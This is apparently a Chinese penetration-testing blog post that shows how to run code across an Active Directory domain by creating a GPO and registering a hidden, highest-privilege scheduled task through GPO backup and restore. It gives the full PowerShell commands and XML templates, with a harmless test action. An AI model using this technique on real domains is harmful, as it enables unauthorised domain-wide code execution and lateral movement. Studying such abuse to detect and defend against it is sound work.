导语:本文详细记录了定位问题和解决问题的过程,介绍了脚本开发的细节,便于读者对脚本做新的改进。
0x00 前言
在上篇文章《域渗透——利用GPO中的计划任务实现远程执行》介绍了利用GPO中的计划任务实现远程执行的方法,分析利用思路,通过命令行实现了GPO和计划任务的创建、修改和删除。
这篇文章将要详细介绍命令行实现的原理和脚本的开发细节,记录定位问题和解决问题的过程。
0x01 简介
本文将要介绍以下内容:
· 定位问题
· 解决思路
· 脚本实现细节
0x02 定位问题
· 测试环境:Windows Server 2008 R2
· domain:test.com
测试1:
通过Group Policy Management Console (GPMC) 创建GPO,添加计划任务(Immediate Task)。
成功实现计划任务的远程执行。
测试2:
使用命令行实现创建GPO并添加计划任务(Immediate Task),步骤如下:
1、创建一个GPO
new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"
GpoId为d7dacd95-883c-402f-9238-9e2643f8f309,如下图:
2、创建计划任务的配置文件ScheduledTasks.xml
路径为:\\test.com\SYSVOL\test.com\Policies\{D7DACD95-883C-402F-9238-9E2643F8F309}\User\Preferences\ScheduledTasks
ScheduledTasks.xml的内容如下:
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"> <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="debug" image="0" changed="2018-12-11 11:11:11" uid="{92272F3D-762C-460A-94FA-F3E3B9EBACF0}" userContext="0" removePolicy="0"> <Properties action="C" name="debug" runAs="%LogonDomain%\%LogonUser%" logonType="InteractiveToken"> <Task version="1.2"> <RegistrationInfo> <Author>NT AUTHORITY\System</Author> <Description/> </RegistrationInfo> <Principals> <Principal id="Author"> <UserId>%LogonDomain%\%LogonUser%</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <IdleSettings> <Duration>PT5M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <AllowStartOnDemand>false</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter> </Settings> <Triggers> <TimeTrigger> <StartBoundary>%LocalTimeXmlEx%</StartBoundary> <EndBoundary>%LocalTimeXmlEx%</EndBoundary> <Enabled>true</Enabled> </TimeTrigger> </Triggers> <Actions> <Exec> <Command>powershell</Command> <Arguments>-c "123 | Out-File C:\test\debug.txt"</Arguments> </Exec> </Actions> </Task> </Properties> </ImmediateTaskV2> </ScheduledTasks>
3、通过Group Policy Management Console (GPMC) 查看GPO的配置
如下图:
可以发现,只要创建文件ScheduledTasks.xml,就可以在Group Policy Management Console (GPMC)中的Scheduled Tasks显示添加的计划任务。
但是,此时并不能实现计划任务的远程执行
经过以下操作证明了还缺少计划任务的注册操作:
进入Group Policy Management Console (GPMC)中的Scheduled Tasks。
修改任意一项配置。
选择Apply。
如下图:
再次测试,发现创建的计划任务能够实现远程执行。
结论:
创建计划任务的配置文件ScheduledTasks.xml后,还需要注册操作才能使新添加的Scheduled Tasks生效。
0x03 解决思路
GPO支持的命令如下:
https://docs.microsoft.com/en-us/powershell/module/grouppolicy/?view=win10-ps
目前,我还没有找到关于注册计划任务的方法。
但我有一些猜测:
备份GPO的时候会不会保存注册信息?如果会,那么先备份GPO,向备份文件中添加注册信息,再还原GPO,能否变相实现GPO的注册?
开始接下来的测试:
1、备份GPO
Backup-Gpo -Name TestGPO1 -Path C:\test
如下图:
Id为28f36a77-298c-4b0a-a1c8-62832fd44cde,对应的文件夹为{28f36a77-298c-4b0a-a1c8-62832fd44cde}
文件夹中的内容如下图:
文件夹DomainSysvol中的内容同\\test.com\SYSVOL\test.com\Policies\{D7DACD95-883C-402F-9238-9E2643F8F309}中的内容保持一致。
猜测Backup.xml和gpreport.xml保存有计划任务的注册信息。
分别备份测试1和测试2的GPO,对比文件Backup.xml和gpreport.xml。
2、比较文件
文件存在差异,不同的地方就是计划任务的注册信息。
对于Backup.xml,不同的位置如下图:
标红的部分就是计划任务的注册信息。
对于gpreport.xml,不同的位置如下图:
标签<ExtensionData>保存注册信息(未注册不存在此标签),内容如下:
<ExtensionData> <Extension xmlns:q1="http://www.microsoft.com/GroupPolicy/Settings/ScheduledTasks" xsi:type="q1:ScheduledTasksSettings"> <q1:ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"> <q1:ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="debug" image="0" changed="2018-11-11 11:11:11" uid="{C30BC793-8944-4332-97FF-9FDFCAB1191A}" userContext="0" removePolicy="0"> <q1:GPOSettingOrder>1</q1:GPOSettingOrder> <q1:Properties action="C" name="debug" runAs="NT AUTHORITY\System" logonType="InteractiveToken"> <q1:Task version="1.2"> <q1:RegistrationInfo> <q1:Author>TEST\a</q1:Author> <q1:Description /> </q1:RegistrationInfo> <q1:Triggers> <q1:TimeTrigger> <q1:Enabled>true</q1:Enabled> <q1:StartBoundary>%LocalTimeXmlEx%</q1:StartBoundary> <q1:EndBoundary>%LocalTimeXmlEx%</q1:EndBoundary> </q1:TimeTrigger> </q1:Triggers> <q1:Settings> <q1:AllowStartOnDemand>false</q1:AllowStartOnDemand> <q1:DisallowStartIfOnBatteries>false</q1:DisallowStartIfOnBatteries> <q1:StopIfGoingOnBatteries>false</q1:StopIfGoingOnBatteries> <q1:AllowHardTerminate>false</q1:AllowHardTerminate> <q1:StartWhenAvailable>true</q1:StartWhenAvailable> <q1:Enabled>true</q1:Enabled> <q1:Hidden>true</q1:Hidden> <q1:DeleteExpiredTaskAfter>PT0S</q1:DeleteExpiredTaskAfter> <q1:MultipleInstancesPolicy>IgnoreNew</q1:MultipleInstancesPolicy> <q1:Priority>7</q1:Priority> <q1:ExecutionTimeLimit>PT0S</q1:ExecutionTimeLimit> <q1:IdleSettings> <q1:Duration>PT5M</q1:Duration> <q1:WaitTimeout>PT1H</q1:WaitTimeout> <q1:StopOnIdleEnd>false</q1:StopOnIdleEnd> <q1:RestartOnIdle>false</q1:RestartOnIdle> </q1:IdleSettings> </q1:Settings> <q1:Principals> <q1:Principal id="Author"> <q1:UserId>NT AUTHORITY\System</q1:UserId> <q1:LogonType>InteractiveToken</q1:LogonType> <q1:RunLevel>HighestAvailable</q1:RunLevel> </q1:Principal> </q1:Principals> <q1:Actions> <q1:Exec> <q1:Command>powershell</q1:Command> <q1:Arguments>-c "123 | Out-File C:\test\debug.txt"</q1:Arguments> </q1:Exec> </q1:Actions> </q1:Task> </q1:Properties> <q1:Filters /> </q1:ImmediateTaskV2> </q1:ScheduledTasks> </Extension> <Name>Scheduled Tasks</Name> </ExtensionData>
接下来,通过测试来验证猜测。
测试3
1、创建一个GPO
new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"
2、备份GPO
Backup-Gpo -Name TestGPO1 -Path C:\test
3、修改文件Backup.xml和gpreport.xml
位置:C:\test\{<Id>}\
添加注册信息。
4、创建ScheduledTasks.xml
位置:C:\test\{<Id>}\DomainSysvol\GPO\User\Preferences\ScheduledTasks
5、还原GPO
Import-GPO -Name TestGPO1 -Path C:\test
测试成功,实现计划任务的远程执行。
0x04 脚本实现
流程如下:
1.备份GPO
2.修改文件Backup.xml和gpreport.xml
3.创建ScheduledTasks.xml
4.还原GPO
使用powershell实现,创建ScheduledTasks.xml这部分参考了harmj0y的代码:
我添加了备份GPO,修改文件Backup.xml和gpreport.xml以及还原GPO的功能。
需要注意的细节:
1、备份GPO时的命令行结果
Id对应保存的文件夹名称,GpoId在Backup.xml中会用到。
2、修改文件Backup.xml和gpreport.xml的方法
由于添加的内容较多,所以我没有按照xml的格式进行添加。
我这里多次使用了replace方法。
先定义一个字符串保存注册信息模板,再用replace方法替换对应的属性值。
3、Backup.xml中的<UserExtensionGuids>标签
添加计划任务后,标签的值如下:
<UserExtensionGuids><![CDATA[[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]]]></UserExtensionGuids>
其中的guid均为固定值。
4、ScheduledTasks.xml保存的位置
我的脚本使用的位置为\GPO\User\Preferences\ScheduledTasks
也可以使用另一位置GPO\Machine\Preferences\ScheduledTasks
5、还原Gpo时需要指定Id
这样能避免当前文件夹存在多个备份文件导致还原失败的问题。
6、脚本功能
目前该脚本仅支持添加Immediate Task,参照这个脚本的模板可以支持更多的功能。
0x05 小结
本文详细记录了定位问题和解决问题的过程,介绍了脚本开发的细节,便于读者对脚本做新的改进。